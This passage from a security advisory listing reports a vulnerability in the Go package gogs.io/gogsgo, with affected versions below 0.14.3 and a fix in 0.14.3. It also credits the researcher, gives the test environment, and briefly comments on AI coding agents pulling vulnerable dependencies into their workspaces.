version**: go1.26.1 - **Database**: SQLite - **Deployment**: Docker (official image), binary, and built from source ## Credit Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <0.14.3 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
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